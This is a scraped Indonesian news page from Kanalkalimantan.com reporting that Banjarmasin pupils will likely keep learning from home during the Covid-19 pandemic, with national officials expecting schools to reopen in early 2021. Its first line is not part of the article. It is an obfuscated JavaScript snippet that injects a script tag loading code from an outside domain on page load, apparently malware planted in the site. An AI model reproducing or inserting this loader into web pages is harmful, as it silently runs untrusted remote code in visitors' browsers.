(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Nasib Sekolah di Masa Pandemi Covid-19, Siswa Belajar dari Rumah hingga Awal 2021?


KANALKALIMANTAN.COM, BANJARMASIN – Kendati pandemi Covid-19 belum usai, tahun ajaran baru untuk peserta didik di tahun 2020 tetap berjalan. Kepala Dinas Pendidikan Kota Banjarmasin Totok Agus Daryanto mengingatkan, harus bisa membedakan antara tahun ajaran baru peserta didik dengan dimulainya peserta didik ke sekolah.

Karena, Kemendikbud RI sudah memastikan bahwa awal tahun ajaran baru dimulai pada 13 Juli 2020. Namun, apakah peserta didik dapat bersekolah? Terdapat beberapa perbedaan.

“Kota Banjarmasin masih (menggunakan) skenario awal, bahwa edaran yang diberikan oleh Wali Kota adalah (belajar dari rumah) sampai 13 Juli,” kata Totok saat ditemui, Jumat (5/6/2020).

Tetapi, dengan kondisi pandemi Covid-19 seperti ini, diakuinya belum dapat membuat peserta didik dapat kembali belajar di sekolah. Sehingga, kemungkinan masa belajar peserta didik dari tingkat PAUD hingga SMP masih dilakukan di rumah. “Kota Banjarmasin masih tinggi kasus Covid-19. Jadi kalau seperti itu, ada kemungkinan masih belajar di rumah,” lugas Totok.

Kecuali, jika temuan kasus positif Covid-19 di Kota Banjarmasin mengalami penurunan atau setidaknya datar (flat). Karena, Disdik Kota Banjarmasin tidak ingin ada peserta didik yang terpapar Covid-19.

Lalu, apakah sudah ada payung hukumnya? “Belum, belum ada. Masih wacana,” singkatnya.

Sehingga, jajarannya tengah menyiapkan metode belajar jarak jauh, yang setidaknya dilaksanakan hingga akhir tahun 2020. Terutama untuk peserta didik SMP.

Selain itu, disinggung soal new normal atau kenormalan baru untuk peserta didik, Totok menyebut peserta didik tetap harus mematuhi protokol kesehatan. Seperti menggunakan masker dan rajin mencuci tangan.

Bahkan, ada rencana untuk mengatur jarak tempat duduk antar peserta didik. “Physical distancing akan diatur, apakah pakai sekat atau cukup direnggangkan saja,” ucapnya.

Protokol kesehatan untuk peserta didik memang diakui Totok tetap harus dipatuhi. Karena, pandemi Covid-19 belum bisa diprediksi kapan berakhir. “Sudah kita bicarakan, dan juga pembudayaan protokol kesehatan sudah harus disampaikan kepada peserta didik,” tandas Totok.

Dibuka Tahun 2021
Menteri Koordinator Bidang Pembangunan Manusia dan Kebudayaan Muhadjir Effendy memperkirakan kegiatan belajar mengajar di Indonesia baru akan dibuka pada awal tahun 2021, dan bukan dalam waktu dekat.

Muhadjir mengatakan, hingga saat ini pemerintah masih melihat perkembangan situasi terkait pandemi Covid-19 di dalam negeri, sebelum akhirnya memutuskan untuk kembali membuka sekolah. “Untuk membuka sekolah, masih kita lihat situasinya. Kemungkinan akhir tahun, atau awal tahun 2021,” kata Muhadjir di Kota Malang, Jawa Timur, seperti dilansir dari tirto.id.

Muhadjir menjelaskan, meskipun sekolah yang ada di Indonesia masih diperkirakan akan dibuka kembali pada awal tahun 2021, untuk tahun ajaran baru siswa, tetap akan diberlakukan pada pertengahan Juli 2020. Pada tahun ajaran baru tersebut, para siswa akan belajar di rumah menggunakan sistem sekolah berbasis online atau daring.

Muhadjir menambahkan pembelajaran menggunakan sistem online tersebut akan dilakukan untuk seluruh siswa yang ada di Indonesia tanpa terkecuali. “Untuk pendidikan itu, kalau tahun ajaran baru, kemungkinan tidak ada perubahan. Pertengahan Juli 2020 sudah tahun ajaran baru. Masih secara online, karena tidak ada jaminan (daerah yang terhindar Covid-19),” ujar Muhadjir.

Sebagai catatan, di beberapa wilayah yang ada di Indonesia, saat ini tengah mempersiapkan diri untuk memasuki kondisi normal baru. Pada era normal baru tersebut, ada kelonggaran aktivitas masyarakat, khususnya pada sektor perekonomian.
Namun, pelonggaran aktivitas khususnya pada sektor perekonomian tersebut, tidak dilakukan untuk sektor pendidikan, karena memiliki risiko lebih tinggi terpapar Covid-19, khususnya terhadap anak-anak. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Chell

Desy Arfianty

Recent Posts

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

3 jam ago

Melati Sekumpul Juara I Gebyar Pemberdayaan Masyarakat Desa

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar Gebyar Pemberdayaan Masyarakat Desa, Kamis (12/12/2024) siang di… Read More

3 jam ago

Serap Masukan Rencana Detail Tata Ruang Kertakhanyar-Gambut, PUPRP Banjar Gelar Konsultasi Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Dinas Pekerjaan Umum, Penataan Ruang dan Pertanahan (PUPRP) Kabupaten Banjar menggelar pertemuan… Read More

4 jam ago

RSD Idaman Raih Peringkat 1 Eco-Office Award 2024

KANALKALIMANTAN.COM, BANJARBARU - Rumah Sakit Daerah (RSD) Idaman Banjarbaru berhasil meraih peringkat satu penghargaan Eco… Read More

8 jam ago

Kadishub Balangan Cek Lapangan Pemasangan PJU

KANALKALIMANTAN.COM, PARINGIN - Memastikan pemasangan dan kondisi lampu Penerangan Jalan Umum (PJU) berjalan dengan baik,… Read More

8 jam ago

Dialog Akhir Tahun 2024, Pemko Banjarbaru Terima Masukan dan Kritik

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota dan Wakil Wali Kota Banjarbaru menyatukan suara bersama masyarakat Kota… Read More

9 jam ago

This website uses cookies.